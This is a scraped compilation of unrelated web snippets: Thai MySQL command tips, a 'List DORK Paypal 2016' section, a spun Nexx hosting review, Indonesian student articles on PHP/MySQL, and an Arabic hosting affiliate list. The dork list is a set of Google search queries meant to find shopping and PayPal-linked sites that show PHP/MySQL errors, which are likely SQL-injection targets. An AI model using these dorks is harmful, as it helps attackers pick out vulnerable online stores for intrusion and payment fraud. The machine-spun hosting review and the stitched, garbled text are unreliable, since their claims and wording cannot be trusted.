commandline ที่ควรทราบสำหรับ mysql
===============================
คำสั่งในการเปลี่ยน password ของ root สำหรับ mysql
mysqladmin -u root password new-password

หรืออาจจะใช้อีกวิธี คือเมื่อทำการติดตั้ง mysql เสร็จใหม่ๆ password สำหรับ root จะไม่มี ดังนั้นเราสามารถเข้าสู่ command line ของ mysql ได้ดังนี้
#mysql -u root -p
mysql>
เราสามารถเปลี่ยน password ได้จาก command นี้
mysql>set password = password("enterpassword")
mysql>

คำสั่ง Create Database
mysql> create database databasename;

คำสั่งแสดง database
mysql> show databases;

คำสั่งเข้าใช้ database
mysql> use databasename;

คำสั่งแสดง table ใน database
mysql> show tables;

คำสั่งดูข้อมูลของ table
mysql> describe tablename;

ต่อไปเป็นคำสั่งในการสร้าง database
คำสั่งสร้าง database
mysql> create database databasename;

คำสั่งลบ database
mysql> drop database databasename;



การ backup mysql
===================
ตัวอย่างการใช้ mysqldump ในการ backup mysql
mysqldump -u username -p database_name > /path/backup.sql
เป็นการ backup ทุก table ใน database ที่ชื่อ database_name ไปไว้ที่ไฟล์ backup.sql สามารถ Restart กลับคืนได้ด้วยคำสั่ง
mysql -u username -p database_name < /path/backup.sql

แต่ถ้าต้องการบีบอัดไฟล์ที่ backup ก็สามารถทำได้โดยใช้ command
mysqldump -u username -p db_name | gzip > backup.sql.gz
ซึ่งเวลาคล้ายการบีบอัดไฟล์ก็ใช้คำสั่ง
gunzip backup.sql.gz

เราสามารถเขียน shell script ให้ทำการ backup ทุกๆวันได้ ซึ่ง shell script อาจจะเขียนได้ดังนี้
#!/bin/sh
date=`date -I`
mysqldump --opt --all-databases | gzip
> /var/backup/databasebackup-$date.sql.gz

จาก shell script เป็นการ backup ทั้ง database ที่มีอยู่

การ Reset Password MySQL
หากลืม password หรือต้องการ reset วิธีตามนี้เลยครับ
เปิด /etc/my.cnf
ในส่วนของ [mysqld] ใส่คำนี้เพิ่ม
skip-grant-tables
ทำการ save แล้ว restart mysqld ด้วยคำสั่ง
service mysqld restart

เข้าไปแก้ password ดังนี้


mysql -uroot
mysql>use mysql;
mysql> update user set Password = PASSWORD('pass') where User ='root';
mysql> FLUSH PRIVILEGES;
mysql> exit


เสร็จแล้วเอาค่า skip-grant-tables ออกใน /etc/my.cnf
แล้ว restart mysqld ใหม่ คำสั่ง
service mysqld restart

การ Backup Database MySql ผมว่าทำได้ค่อนข้างง่ายและสะดวกดี นอกจากนี้ยังสามารถดูผลการ backup ได้ง่ายๆ ด้วยเนื่องจากจะถูกสร้างออกมาเป็น SQL statement ที่สามารถอ่านได้ไม่ยากครับ จริงๆการทำการ backup อาจจะใช้ phpMyAdmin ทำก็ได้ แต่หลังจากผมลองใช้ mysqldump ดูแล้ว พบว่าการใช้ mysqldump เร็วกว่ากันแบบเทียบไม่ติด และยังสามารถทำให้เป็น auto ก็ได้โดยใช้ร่วมกัน cron บน unix ครับ ก่อนอื่นมาดู format ของ command ดูก่อนครับ

mysqldump --user [username] --password=[password] [databasename] > [dump file]

โดย --user [username] ก็ใช้ใส่ username ของ database เข้าไปครับ หรือ password ก็ให้ใส่ password ที่ใช้กับ username ที่ระบุเข้าไปครับ หากไม่มี username และ password ก็ไม่ต้องใส่เข้าไปครับ ส่วน databasename ก็คือชื่อ database ที่เราจะทำการ backup ครับ dump file ก็เป็น file backup ที่เราจะเก็บเอาไว้ครับ ลองดูตัวอย่าง เช่น database ชื่อ abc , username เป็น user1 และ password เป็น pass1 ให้เก็บไว้ใน dump file ชื่อ back.sql ก็ใช้ command ได้ดังนี้ครับ

mysqldump --user user1 --password=pass1 abc > back.sql

จะเห็นว่าไม่ยากเลยนะครับ หรือหากเป็น database ชื่อ abc แต่ไม่ได้สร้าง username กับ password ไว้ และให้เก็บไว้ใน file back.sql ก็สามารถระบุได้ดังนี้ครับ

mysqldump abc > back.sql

ครับเมื่อเรา backup database กันได้แล้วคราวนี้มาดูวิธีการ restore กันบ้างครับ วิธีการก็ไม่ยากครับ ใช้คำสั่ง mysql ได้เลยครับ โดยมี format ประมาณนี้ครับ

mysql [database name] < [backup file name]

เช่นเราจะเอาคืนจาก file ที่เรา backup ไว้เมื่อกี้ ก็

mysql abc2 <>

หรือหากเรามี username กับ password ด้วยก็เหมือนกันครับคือ

mysql --user user1 --password=pass1 abc2 <>

ซึ่งจะเห็นว่าผม restore กลับมาที่ database อีกตัวชื่อ abc2 ครับ ซึ่งก่อนจะ restore ได้ก็ต้องสร้าง database ตัวนี้ขึ้นมาก่อนนะครับ

เอาเป็นว่าผมจบแค่นี้ก่อนครับ จริงๆยังมี option ของ mysqldump อีกนิดหน่อย แต่คิดว่าคงน่าจะไม่ได้ใช้เท่าไหร่ ทำ backup


ข้อมูลจาก :: http://www1.tumserver.com/tumserver/content/74-command-mysql--.html


          ◈改版面了,暫時在新浪部落歇歇腳...   
    ㄧ年多來,註冊過不少blog空間(blog.comblogspiritmoCastingMSN spaces新浪部落樂多日誌),也用過WordpressXOOPS Wordpress模組及lifeType等blog套件,在支援PHP+MySQL的免費空間(LYCOSXenorHost)上自己架blog...
          How to fix WordPress permalinks on Mac OS X’s localhost   

I recently installed a WordPress blog in my localhost using Mac OS X’s built in Apache and PHP with MySQL to test a functionality when I decided to update the permalinks to use a different format other than the default setting. When I tested the new URL, I was greeted with the following error: Not […]

The post How to fix WordPress permalinks on Mac OS X’s localhost appeared first on My Silly Point of View.


          使用zabbix自带的模板监控MySQL   
1.系统环境 软件及其版本 软件|版本 —-|—- OS|Centos6.8-2.6. […]
          List DORK Paypal 2016   
www.rizalwebs.com




List DORK Paypal 2016



inurl:".php?cat="+intext:"Paypal"+site:sg
inurl:".php?cat="+intext:"/Buy Now/"+site:.sg
inurl:".php?cid="+intext:"online+betting"
inurl:".php?id=" intext:"View cart"
inurl:".php?id=" intext:"Buy Now"
inurl:".php?id=" intext:"add to cart"
inurl:".php?id=" intext:"boutique"
inurl:".php?id=" intext:"/store/"
inurl:".php?id=" intext:"/shop/"
inurl:".php?id=" intext:"toys"
inurl:".php?cid="
inurl:".php?cid=" intext:"shopping"
inurl:".php?cid=" intext:"add to cart"
inurl:".php?cid=" intext:"Buy Now"
inurl:".php?cid=" intext:"View cart"
inurl:".php?cid=" intext:"boutique"
inurl:".php?cid=" intext:"/store/"
inurl:".php?cid=" intext:"/shop/"
inurl:".php?cid="
inurl:".php?cat="
inurl:".php?cat=" intext:"shopping"
inurl:".php?cat=" intext:"add to cart"
inurl:".php?cat=" intext:"Buy Now"
inurl:".php?cat=" intext:"View cart"
inurl:".php?cat=" intext:"boutique"
inurl:".php?cat=" intext:"/store/"
inurl:".php?cat=" intext:"/shop/"
inurl:".php?cat=" intext:"Toys" 
inurl:".php?catid="
inurl:".php?catid=" intext:"View cart"
inurl:".php?catid=" intext:"Buy Now"
inurl:".php?catid=" intext:"add to cart"
inurl:".php?catid=" intext:"shopping"
inurl:".php?catid=" intext:"boutique"
inurl:".php?catid=" intext:"/store/"
inurl:".php?catid=" intext:"/shop/"
inurl:".php?catid=" intext:"Toys"
inurl:"id=" & intext:"Warning: mysql_fetch_assoc()
inurl:"id=" & intext:"Warning: mysql_fetch_array()
inurl:"id=" & intext:"Warning: mysql_num_rows()
inurl:"id=" & intext:"Warning: session_start()
inurl:"id=" & intext:"Warning: getimagesize()
inurl:"id=" & intext:"Warning: is_writable()
inurl:"id=" & intext:"Warning: getimagesize()
inurl:"id=" & intext:"Warning: Unknown()
inurl:"id=" & intext:"Warning: session_start()
inurl:"id=" & intext:"Warning: mysql_result()
inurl:"id=" & intext:"Warning: pg_exec()
inurl:"id=" & intext:"Warning: mysql_result()
inurl:"id=" & intext:"Warning: mysql_num_rows()
inurl:"id=" & intext:"Warning: mysql_query()
inurl:"id=" & intext:"Warning: array_merge()
inurl:"id=" & intext:"Warning: preg_match()
inurl:"id=" & intext:"Warning: ilesize()
inurl:"id=" & intext:"Warning: filesize()
inurl:"id=" & intext:"Warning: require()
paypal .php?id=
paypal .php?coID=
paypal .php?num=
paypal .php?avd=
paypal .php?category=
paypal .php?file=
paypal .php?cat=
paypal .php?include=
paypal .php?pageid=
paypal .php?page_id=
paypal .php?param=
paypal .php?panel=
paypal .php?sec=
paypal .php?do=part&id=
paypal .php?item_id=
paypal .php?client=
paypal .php?co_id=
paypal .php?language=
paypal .php?currency=
paypal .php?checkout=
paypal .php?cid=
paypal .php?products_name=
paypal .php?product_id=
paypal .php?step=
paypal .php?topicid=
paypal .php?topic_id=
paypal .php?id_category=
paypal .php?tid=
paypal .php?fid=


          Nexx -The Truth   

Nexx Review:
In that Nexx hosting Reviews I will show you completely about Nexx in details, follow on.
Nexx On-line provides hosting and domain registration helps that are planned to meet the variable wants of business sites. They have been allowing true servicing and topnotch client care for more than ten years. Their corporate headquarters are settled in Buffalo while supplying servings for hosting users simply about anywhere. Customers can ever rely on important webhosting answers when hosting with Nexx Hosting.

Cost and Monetary Value Effectiveness:

Nexx Hosting offers up hosting solutions that are among much of the widest rates in the industry. Professional Network Web Hosting is currently acquirable for as low as $7.95 /mo (Regularly $9.95). The webhosting project is planned to offering simply about whatever features necessary to run a business organisation website for small and medium sized business organizations. With 300GB of web hosting storage and 3000GB of monthly traffic, the hosting project suits the popular essentials easily. There are various features that create this plan such a super value at a very low periodic price. Every web hosting bundle purchased offers the ability to host an endless figure of domain names and internet sites. In fact, a free domain name is provided with every webhosting package that will be free for as endless as a customer hosts with Nexx hosting.

The business web hosting plan by Nexx Hosting is bundled with features and applications programmes. All bundles include PHP, Perl, ASP.Net, MySQL 5, FTP and SSH access, simply to mention a few. The some other actually interesting feature of Nexx hosting plans is that customers can receive characteristics of both Windows and Linux webhosting on their account. Suppose gaining the greatest of both worlds for less than $10 /month.

Every hosting package offers security characteristics including password protected folders and Secure FTP access. All web hosting projects are backed by customer support that can be made via email 24/7 and telephone. If a client discovers that they are not fulfilled within the first 30 days of servicing, they can choose advantage of the 30 day money back warranty.

Nexx.com Hosting provides their users with so much in a webhosting project for such a low fee. It is truly a important value for total.

Nexx.com hosting Reliability:

Nexx.com Hosting offers sure web hosting answers at all times which I must point in my Nexx.com hosting reviews. They would not have it any other way. Nexx is always searching for precocious ways to provide more dependable and strong hosting servicing. Their plans are geared toward business organisation sites. They directly offer a bundled web hosting infrastructure. The resources necessary to work a web site are non limited to only 1 server the path they are with traditionalistic shared hosting. This allows more dependability and so as a user's business organization arises, so can their internet site. The webhosting infrastructure has been projected to find out that customers always gain true hosting solutions.

Client Support:

Allowing a higher point of customer support is important to Nexx.com Hosting. In fact, they offer 24/7 user support when clients phone or e-mail the support team. It is their goal to always reply to questions and resolve troubles as quickly as possible. The support page also offers a link to many tutorials and resources that will answer doubts and help customers if they need to resolve enquiries and troubleshoot on their personal before reaching user support.

Conclusion :
I practised my greatest in this Nexx hosting reviews and will say my decision.
Nexx.com provides powerful, reliable and steady web hosting solvents for business organisation owners. Their hosting serves provide a nearly unheard of value with feature worth packages, friendly and educated user support and a greatest hosting infrastructure.

=>> Click Here For Nexx Hosting Clients Reviews >>>




Other Resources:

Nexx hosting Truth
Nexx Reviews


          Resources for becoming a WordPress master   
I'm looking for the best resources (online or offline) for WordPress Theme development. Beginner to advanced -- I'm a sponge right now, so nothing is too dumb-downed or overly-technical for my consumption. What resources have you found to be most helpful on your quest to being a WordPress master? If it matters, I'm a web designer by trade, and I know my way around PHP and mySQL just as well as CSS and XHTML. I'm equally as interested in learning backend stuff as I am design tips and tweaks. Thanks!
          Tulisan 1 - Bahasa Indonesia 2   
Penulisan Ilmiah Rental Buku Bersama


1.1 Latar Belakang Masalah

        Buku merupakan salah satu sumber ilmu. Kata-kata itu mungkin tidaklah salah untuk dikatakan karena dengan membaca buku wawasan pembaca akan semakin bertambah. Namun sekarang ini harga buku sangat mahal sehingga banyak orang kesulitan untuk dapat membeli buku. Untuk mensiasati hal seperti itu banyak orang mencari buku hanya untuk dipinjam dan dibaca tanpa perlu membelinya sehingga tidak perlu mengeluarkan uang banyak untuk membaca buku.

        Terdapat salah satu tempat untuk penyewaan buku yaitu bernama Rental Buku Bersama. Rental Buku Bersama masih menggunakan sistem manual dalam melakukan transaksinya. Namun dengan semakin meningkatnya kuantitas buku yang disediakan dan untuk meningkatkan pelayanan para pelanggan maka sistem manual sudah tidak efisien lagi untuk saat ini. Pemanfaatan teknologi informasi seperti internet merupakan salah satu alternatif yang dapat digunakan untuk menangani masalah tersebut karena dengan penggunaan internet penyampaian dan pencarian informasi dapat dilakukan secara efektif dan efisien, selain itu penggunaan internet juga tidak terbatas pada ruang dan waktu asalkan tersambung dengan jaringannya. Sebagai contoh seorang pelanggan tidak perlu datang ke Rental Buku Bersama untuk mengetahui buku apa saja yang tersedia disana, cukup dengan membuka website yang disediakan para pelanggan dapat mengetahui buku apa saja yang tersedia disana.

        Berdasarkan hal tersebut penulis ingin membuat sebuah aplikasi website yang bertujuan untuk membantu proses transaksi dan informasi pada Rental Buku Bersama. Secara garis besar sistem pada aplikasi ini juga dapat diimplementasikan untuk rental atau perpustakaan lain namun dengan sedikit penyesuaian tergantung rental atau perpustakaan tersebut.

        Aplikasi website yang dibuat oleh penulis diberi nama “Sistem E-Library Berbasis Web di Rental Buku Bersama”. Perancangan aplikasi ini menggunakan software PHP dan Mysql serta dibantu juga menggunakan tool Dreamweaver. Pemilihan software tersebut dirasa cocok untuk perancangan aplikasi ini.

1.2 Ruang Lingkup

        Ruang lingkup pada penulisan ilmiah harus dibatasi agar tetap fokus pada permasalahan yang dibahas. Ruang lingkup penulisan ilmiah ini adalah pembuatan aplikasi website sistem e-library kusus untuk keperluan transaksi dan kebutuhan informasi pelanggan Rental Buku Bersama.

1.3 Tujuan Penulisan

        Tujuan dari penulisan ilmiah ini adalah untuk menjelaskan tentang proses pembuatan sebuah aplikasi website sistem e-library berbasis web di Rental Buku Bersama. Pembuatan aplikasi website ini membatu pengelola Rental Buku Bersama untuk mengatur segala transaksi yang dilakukan dan memberikan kemudahan informasi kepada para pelanggannya.

        Secara spesifik manfaat dari adanya aplikasi website sistem e-ibrary ini antara lain :

1. Pelanggan dapat dengan mudah mengetahui buku apa saja yang tersedia di Rental Buku Bersama tanpa harus datang ke sana.

2. Pengelola Rental Buku Bersama dapat dengan mudah melakukan pencatatan transaksi (peminjaman/pengembalian) buku.

3. Pengelola Rental Buku Bersama dapat dengan mudah memantau segala transaksi yang terjadi dimanapun dan kapanpun tanpa harus datang ke rental.

1.4 Metode Penelitian

        Metode penelitian dalam penulisan ilmiah ini adalah dengan melakukan Studi Pustaka, yaitu dengan cara mengumpulkan informasi tentang PHP dan Mysql dari buku dan internet. Pada penelitian ini penulis perlu melakukan beberapa tahapan yang harus dilakukan, yaitu :

1. Identifikasi

        Pada tahap identifikasi penulis meneliti bagaimana aplikasi website ini berjalan, peralatan apa saja yang digunakan untuk pembuatan aplikasi website ini dan tujuan utama dari pembuatan aplikasi website ini.

2. Analisa

        Pada tahap analisis penulis berusaha untuk menganalisa semua aspek yang menunjang berjalannya aplikasi website ini.

3. Perancangan

        Pada tahap perancangan penulis mencoba untuk merancang aplikasi dengan membuat struktur database dan gambaran interface aplikasi website ini.

4. Implementasi

        Pada tahap implementasi penulis mulai mengimplementasikan rancangan aplikasi yang telah dibuat ke dalam kode-kode program.

5. Uji Coba

        Tahap uji coba perlu dilakukan untuk mengetahui hasil dari pembuatan aplikasi website ini.

        Penulis juga akan mendeskripsikan perangkat keras (hardware) dan perangkat lunak (software) yang digunakan dalam pembuatan aplikasi website ini.

        Perangkat keras (hardware) yang digunakan berupa sebuah netbook dengan spesifikasi sebagai berikut :

1. Processor AMD Dual-Core (1.0 GHz)

2. RAM 2 GB

3. Hardisk 320 GB

Perangkat lunak (software) yang digunakan berupa :

1. Adobe Dreamweaver CS 6

2. Adobe Photoshop CS 2

3. XAMPP

4. Mozilla Firefox


1.5 Sistematika Penulisan

        Untuk menjelaskan tentang sistematika penulisan ilmiah ini, penulis akan memberikan ringkasan dari masing-masing bab, yaitu sebagai berikut :

BAB I PENDAHULUAN

        Pada bab ini dijelaskan secara garis besar mengenai latar belakang, ruang lingkup, tujuan penulisan, metode penelitian, dan sistematika penulisan.

BAB II TINJAUAN PUSTAKA

        Pada bab ini dijelaskan tentang teori dan tools yang digunakan dalam pembuatan aplikasi website ini.

BAB III ANALISA DAN HASIL PENELITIAN

        Pada bab ini dijelaskan tentang proses perancangan dan pembuatan aplikasi website ini.

BAB IV KESIMPULAN

        Bab ini berisi kesimpulan yang dapat diambil dari pembahasan masalah dan saran-saran untuk tindakan lebih lanjut guna membuat aplikasi ini lebih berkembang.


          Perbedaan Web Programmer dan Web Designer   
Assalamualaikum...

Alhamdulillah saya masih diberi kesempatan untuk menulis sebuah tulisan lagi, itung-itung sambil memenuhi tugas kuliah saya hhe. Tulisan saya kali ini akan membahas perbedaan web programmer dan web designer.

Mungkin bagi sebagian orang yang mendengar kata web programmer dan web designer mereka menganggap kedua kata itu memiliki arti sama. Banyak orang mengira seperti itu karena keduanya bekerja dibidang yang sama yaitu pembuatan web.

Nah agar anda tau apa bedanya web programmer dan web designer, saya akan sedikit memberi penjelasan tentang ini.

Web Programmer

Web Programmer, dari namanya saja sudah dapat dibayangkan bahwa dia adalah programmer yang membuat web / aplikasi web dengan menggunakan bahasa pemrograman. Web programmer biasanya berperan sebagai penghubung semua sumber daya yang akan digunakan pada sebuah website, mulai dari pemanggilan database, membuat halaman website yang dinamis, hingga mengatur cara pengunjung untuk berinteraksi dengan elemen-elemen dari website tersebut.

Seorang web programmer diharapkan menguasai bahasa pemrograman baik di sisi server maupun di sisi client, selain itu seorang web programmer juga dituntut untuk bisa mengoperasikan database.

Berikut adalah bagian aplikasi yang harus dipahami oleh seorang web developer .
   • Client-side: JavaScript
   • Server side: ASP, ASP.NET, Java, Perl, PHP, Python, Ruby, dsb.
   • Databases: MySQL, Oracle, dsb.

Seorang web programmer tidak diwajibkan untuk bisa mendesain tampilan web karena itu akan menjadi tanggung jawab seorang web designer, namun akan menjadi nilai tambah jika seorang web programmer memiliki kemampuan mendesain tampilan web. Pada umumnya setelah web programmer selesai melakukan scripting pada aplikasi web, web programmer akan menyerahkan hasilnya kepada web designer untuk dibuatkan tampilan yang menarik.

Web Designer

Mendengar dari namanya pasti anda sudah bisa membayangkan bahwa web designer adalah seseorang yang mendesain sebuah web, ya..seorang web designerlah yang membuat tampilan sebuah web menjadi cantik dan enak dilihat. Para web designer mengintegrasikan komponen seperti gambar, file flash, atau multimedia ke dalam halaman web untuk menambah pengalaman visual user, atau untuk melengkapi content page (isi halaman).

Seorang web designer diharapkan mengerti pemahaman tentang client side scripting, HTML, CSS, cara memanipulasi image dan animasi.

Berikut adalah bagian hal yang harus dipahami oleh seorang web designer:
   • Client-side scripting: JavaScript
   • Server-Side scripting: PHP, ASP, dsb.
   • Cascading Style Sheets
   • HTML
   • Manipulasi image : Adobe Photosop, GIMP, Corel Draw, dsb.
   • Animasi, biasanya berupa flash.

Web designer biasanya bekerja dalam tim untuk memastikan sebuah tampilan website dapat membuat aplikasi web bekerja dengan baik. Keterampilan tambahan berupa komunikasi, tentu akan menjadi sangat berguna bagi para web designer.


RANGKUMAN

Web programmer adalah orang yang bertugas membuat web pada bagian pengaksesan/penggunaan, sedangkan web designer adalah orang yang bertugas membuat web pada bagian tampilan halaman web.

Bagaimana apakah anda sudah jelas ? mudahan-mudahan dengan tulisan saya ini anda menjadi mengerti perbedaan antara web programmer dan web designer. Semoga tulisan ini bermanfaat bagi kita semua. Akhir kata terimakasih dan wasalam...

          Tutorial Menampilkan Data Mysql Pada Browser Dengan PHP   
Assalamualaikum..
Pada kesempatan kali ini saya ingin memberi sedikit tutorial tentang cara menampilkan database Mysql ke dalam browser web menggunakan bahasa pemrograman PHP.

Ok kita langsung saja ikuti tutorial berikut

Pertama kita buat dahulu databasenya dengan nama "db_biodata". Untuk membuatnya menggunakan sintaks sql berikut :

create database db_biodata ;

Setelah selesai membuat databasenya kita buat tabelnya dengan nama "tb_biodata" beserta field-fieldnya. Untuk membuatnya menggunakan sintaks sql berikut :

create table tb_biodata(
nama varchar(25),
npm varchar(8),
kelas varchar(5)
);

Jika tabelnya sudah jadi kita bisa mengisi tabel tersebut dengan data-data. Untuk mengisinya kita bisa gunakan sintaks dibawah ini, data dibawah ini hanya contoh jika anda ingin mengganti datanya silahkan saja.

insert into  tb_biodata(nama,npm,kelas) values ('Dimas','12110041','3KA31');
insert into  tb_biodata(nama,npm,kelas) values ('Anggi','12110042','3KA31');
insert into  tb_biodata(nama,npm,kelas) values ('Roy','12110043','3KA31');
insert into  tb_biodata(nama,npm,kelas) values ('Rahmat','12110044','3KA31');

Jika semua sudah dilakukan sekarang saatnya kita membuat file PHP, yang nantinya akan menampilkan data-data tersebut ke dalam browser

Langkah pertama buka notepad ++, lalu ketik sintaks berikut :


Setelah itu save file ini dengan nama "tampil.php". Jika anda menggunakan XAMPP sebagai webservernya, simpan file ini pada direktori htdocs.

Jika file sudah disave kita tinggal panggil file tersebut dengan browser, ketikan pada browser :

localhost/tampil.php

namun sebelumnya aktifan dahulu XAMPPnya, untuk cara mengkatifkan XAMPP anda bisa search di google.

dan....Inilah hasilnya :

Ok.. mungkin ini saja yang bisa saya berikan, anda dapat mengembangkan lagi file ini sesuai dengan kreatifitas anda. Semoga bermanfaat dan teruslah belajar ! 
Wasalam.




          WANTED! Разыскиваем PHP-разработчика.   
Требования:- Опыт работы с PHP/MySQL (желательно ООП, SVN/GIT).- Знание английского (чтение технической документации).- Обучаемость, ответственность, пунктуальность.- Умение работать в команде.Обещаем хорошую зарплату - примерный коридор от 35 до 60 тыс. руб. и обучение с прохождением международной сертификации по Magento/PHP.Остальные подробности и...
          MySQL Conference 2007   
I just spent two very enjoyable days at the MySQL Conference in Santa Clara. My take on the conference has been published on ZDNet by Dan Farber in this post: MySQL’s success leads to customer frustration. The headline is Dan’s, not mine, though I concur with the sentiment.
          WP Fastest Cache Premium v1.3.9 - NULLED   
WP Fastest Cache Premium v1.3.9 - NULLED



WP Fastest Cache Premium v1.3.9 - NULLED



DEMO


This plugin creates static html files from your dynamic WordPress blog. When a page is rendered, php and mysql are used. Therefore, system needs RAM and CPU. If many visitors come to a site, system uses lots of RAM and CPU so page is rendered so slowly. In this case, you need a cache system not to render page again and again. Cache system generates a static html file and saves. Other users reach to static html page.




          AJAX Attribute Manager BS   
AJAX Attribute Manager BS 2.9 by @raiwa

+ updated for 2.3.4 BS Community version
- hardcoded filenames, database table names and paths
+ PHP 7+ compatibility
- changed class constructor names to "__construct", added empty class constructor function to
- empty class constructor added to attributeManager.class.php
- mysql_get_server_info updated to mysqli_get_server_info
+ updated instructions for latest 2.3.4BS EDGE (at June 20017)
+ screenshot with all additional suported contributions added to instructions
+ included modified files updated to latest 2.3.4BS EDGE (at June 20017)
+ support added for Options Images BS (latest version 1.5) https://apps.oscommerce.com/ijmp8&options-images-bs
+ layout clean up for additional add-ons (Code) and labels added
+ completed translation for spanish and german
+ old PHP4 versions removed

Full Package
          Senior Distributed Systems Engineer (Java) - Treasure Data - Mountain View, CA   
Knowledge of Hadoop, Presto, MySQL, PostgreSQL or other open-source distributed databases/engines. Source code level familiarity with Hadoop, Presto, Spark, or...
From Treasure Data - Sat, 17 Jun 2017 09:45:10 GMT - View all Mountain View, CA jobs
          أفضل مواقع استضافة ووردبربس 2017   

شراء استضافة قوية هي مهمة صعبة وخصوصا عندما الإنترنت مليء بي شركات استضافة المواقع لا يحصى ذلك، اختيار واحدة ليست مهمة سهلة. عندما بدأت رحلتي عبر الإنترنت، وإيجاد أفضل مواقع الاستضافة كانت مهمة جدا. أعطى مختلف الناس لي خيارات استضافة مختلفة، وأنا أفهم، كانوا على حق. كل استضافة لها مزاياها وعيوبها، وأحيانا قد تسمع نقديا جيدة وأخرى سيئة في بعض الأحيان عن استضافة معينة.


هنا، سوف يتم تقاسم بعض من أكبر وأفضل استضافة لاستضافة مواقع ووردبريس، والتي وجدت من وجهة نظري لمدة 4 سنوات من الخبرة في تطوير المدونات. وأظل احصل على حساب استضافة لاستعراضه، ونحن نحاول ونرى كيف هي جيدة وتجربة سيئة أنها يمكن أن تعطي. تستند، على كل خبرتي من حيث الاستخدام، ودعم العملاء، لقد وضعت لائحة استضافة خدمات الويب التي يمكنك أن تنظر في شراء استضافة .

أفضل مواقع استضافة ووردبربس - الموثوق بها والمتحقق منها

قبل شراء استضافة، تحقق للتخصص في استضافة مواقع ووردبريس. وسوف تكون قائمة باستمرار لي شركات مواقع الاستضافة , الذين لديهم سمعة جيدة للغاية لاستضافة مواقع ووردبريس. وفي وقت كتابة هذا التقرير، أنا باستخدام 3 حسابات، الحساب الأول بلوهوست - BLUEHOST ، و الحساب الثاني ARVIXE والحساب الثالث Siteground لغرض تجربة بصراحة ان كنت تعمل بووردبريس فانها افضل خيار لك لكونها متوافقه بشكل كبير معها. في الماضي لقد استخدمت ipage وgodaddy وeurodns. هذه القائمة لاستضافة مشتركة فقط، كما أنها مثالية لأي موقع ووردبريس جديد. إذا كنت تبحث عن مستضيف شبكة VPS او cloud server، أقترح عليك أن تنظر في القائمة أدناه.

لقد ثم تصنيف شركات الاستضافة بناء على نوع مختلف من الاستضافات. يجب عليك اختيار واحد الذي يناسب حاجتك. لموقع ووردبريس جديد، أود أن أوصي أن تبدأ مع استضافة مشتركة، كما أنها رخيصة، ويقدم كل ما تحتاجه لاستضافة الموقع الخاص بك.

أفضل مواقع استضافة مشتركة لووردبريس 2017 :

هنا قائمة أفضل 5 شركات استضافة مواقع ووردبريس،لاستضافة مشتركة والتي أثبتت نفسها أكثر من مرة.

أفضل مواقع استضافة 2017 - استضافة Bluehost


بلوهوست - BLUEHOST هي واحدة من تلك الشركة التي بدأت في مرآب لتصليح السيارات، والآن بلوهوست هو الخيار الأفضل لاستضافة مواقع ووردبريس. بدأ بلوهوست - BLUEHOST في عام 1996، ومنذ ذلك مما نمت في حد ذاته إلى حل استضافة المواقع ريش تماما. أنها الشركة الأولى التي تطرح اختناق وحدة المعالجة المركزية، والتي لا تؤثر على موقع الويب الخاص بك على استضافة مشتركة. بلوهوست - BLUEHOST يبدأ من 3.25 $ / شهر، ويوفر نطاق مجاني واحد. أنها توفر لوحة التحكم مما يجعل من السهل على المستخدمين غير التقنية لإدارة الاستضافة. أنا باستخدام بلوهوست - BLUEHOST من عام 2013، وخلال السنوات الماضية لم يكن لدي أي شكوى حول استضافة بهم. إذا كنت تبحث عن أفضل توصية واحدة، وتختار بلوهوست - BLUEHOST.
حجز استصافة BLUEHOST

أفضل مواقع استضافة 2017 - استضافة A2 Hosting


استضافة A2 Hosting هي شركة استضافة مواقع امريكية تم تأسيسها عام 2003. ربما لم تسمع عن شركة ايه تو هوستنج من قبل والكثير ايضاً لم يسمعوا عنها. ربما هذه الشركة العريقة ليست بشهرة هوست جيتور او بلو هوست، لكنها بكل تأكيد شركة استضافة جيدة جداً وكثيراً ممن قاموا بتجربتها يقولون بأنها افضل استضافة علي الاطلاق. لكن هل استضافة A2 Hosting هي فعلاً افضل شركة استضافة؟ استضافة A2 Hosting  يبدأ من 3.65 $ / شهر، ويوفر نطاق مجاني واحد + شهادات SSL مجانا العام الأول. أنها توفر لوحة التحكم مما يجعل من السهل على المستخدمين غير التقنية لإدارة الاستضافة.

حجز استصافة A2 Hosting


أفضل مواقع استضافة 2017 - استضافة inmotionhosting



InMotion Hosting هي شركة استضافة المواقع التي تتخصص في استضافة الأعمال. والمقصود بي استضافة الأعمال ادعى للمحترفين التي جادين في مواقعها على شبكة الإنترنت والميزات الهامة التي في الخوادم ومزود خدمة استضافة الويب يجب أن يكون من أجل تشغيل مشروع تجاري ناجح.

حجز استصافة inmotionhosting

 أفضل مواقع استضافة 2017 - استضافة Thcservers




هل تبحث عن أرخص وأفضل استضافة المواقع ؟ نقترح على زوار مدونة العرب التقنية افضل استضافة THCServers لعام 2017 , Thcservers تقدم المبادئ الطوعية للإستضافة، استضافة مشتركة وVPS بأسعار تنافسية للغاية. تأسست الشركة في عام 2013 ومقر الشركة في  أستراليا. الى جانب ذلك، كما أنها توفر شهادات SSL مجانا العام الأول و VPN وخدمات تصميم المواقع والسيو أيضا. كما أنها توفر استضافة مشتركة بأسعار منخفضة مع ضمان الجهوزية 99.99٪. الخطط التي تستضيفهم تأتي مع العديد من السمات البارزة مثل عرض النطاق الترددي غير محدود، مساحة القرص، والنسخ الاحتياطي التلقائي يوميا، قواعد بيانات MySQL، FTP حسابات غير محدودة ولوحة التحكم سهلة الاستخدام ، والخيار للآلات إنتل وأيه إم دي المعتمدة. وعلاوة على ذلك، يتوفر من خلال التذاكر أو نظام البريد الإلكتروني مع قاعدة معرفية سليمة دعمها التقني. استضافة أسعار حزمة الشركة منخفضة جدا، وتأتي مع مجموعة من المزايا استضافة ممتازة.
حجز استصافة thcservers

أفضل مواقع استضافة 2017 -استضافة arvixe


شركة الاستضافة آرفيكس arvixe من أفضل شركات استضافة مواقع الويب على الانترنت وتأسست منذ عام 2003. أهم ميزات الاستضافة المشتركة من آرفيكس arvixe: مساحة غير محدودة, نقل بيانات باندويث bandwidth غير محدود, عدد حسابات بريد غير محدود, عدد دومينات 5 , تحصل على دومين مجانا عند الشراء ولا تحتاج إلى تجديده لأنه سيبقى لك طوال الحياة, حسابات FTP غير محدودة, عدد قواعد بيانات غير محدود, إحصائيات لموقعك, مكتبة سكريبات. اختر نوع الاستضافة التي تريد وبشكل عام اختر نا استضافة مشتركة شخصية وسعرها $4 عند الشراء لمدة سنين وهو مناسب وجيد للجميع. انقر على عبارة “PersonalClass”  ويمكنك استعمال الكوبون التالي للحصول على خصم بمقدار 20% :  “FRIENDME”
حجز استصافة arvixe

